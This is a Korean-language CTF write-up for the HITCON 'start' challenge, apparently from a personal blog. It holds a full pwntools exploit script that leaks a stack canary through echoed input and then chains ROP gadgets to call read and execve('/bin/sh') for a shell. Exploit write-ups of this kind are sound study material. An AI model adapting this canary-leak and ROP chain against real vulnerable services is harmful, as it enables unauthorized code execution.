본문 바로가기

CTF/HitconCTF

Hitcon pwnable_start Write up

간단한 syscall SROP 문제이다.

일단 입력을 받으면 입력 받은걸 다시 되돌려준다. 이 방식을 이용하여 입력받는 변수 밑에있는 canary 값을 leak 할수있다. 

 

각 가젯을 불러와서 우리가 실행시키고싶은 함수에 레지스터를 맟추고 그 함수를 호출시키면 풀리는 문제이다.

밑에 exit 를 넣은것은 프로그램을 정상적으로 종료하고싶어서 넣었다.

 

from pwn import *

p = process("./start")
binf = ELF("./start")

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

prdi = 0x004005d5
prsi = 0x0047d69c
pppr = 0x0047a6e6
addr_bss = binf.bss()
addr_syscall = 0x00468e75

###logic_1
payload = "A"*24
payload += "B"*1

p.send(payload)
p.recvuntil("B")
leak_canary = "\x00"+p.recv(7)
#leak_canary = p.recv(8)
log.info("leak_canary :" + hex(u64(leak_canary)))

###logic_2
payload = "A"*24
payload += leak_canary
payload += "A"*8
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi)
payload += p64(addr_bss)
payload += p64(pppr)
payload += p64(0)           #syscall read
payload += p64(8)
payload += p64(0)           
payload += p64(addr_syscall)

payload += p64(prdi)
payload += p64(addr_bss)
payload += p64(prsi)
payload += p64(0)
payload += p64(pppr)
payload += p64(59)          #syscall execve
payload += p64(0)
payload += p64(0)
payload += p64(addr_syscall)

p.send(payload)
p.sendline("exit")
p.send("/bin/sh")

p.interactive()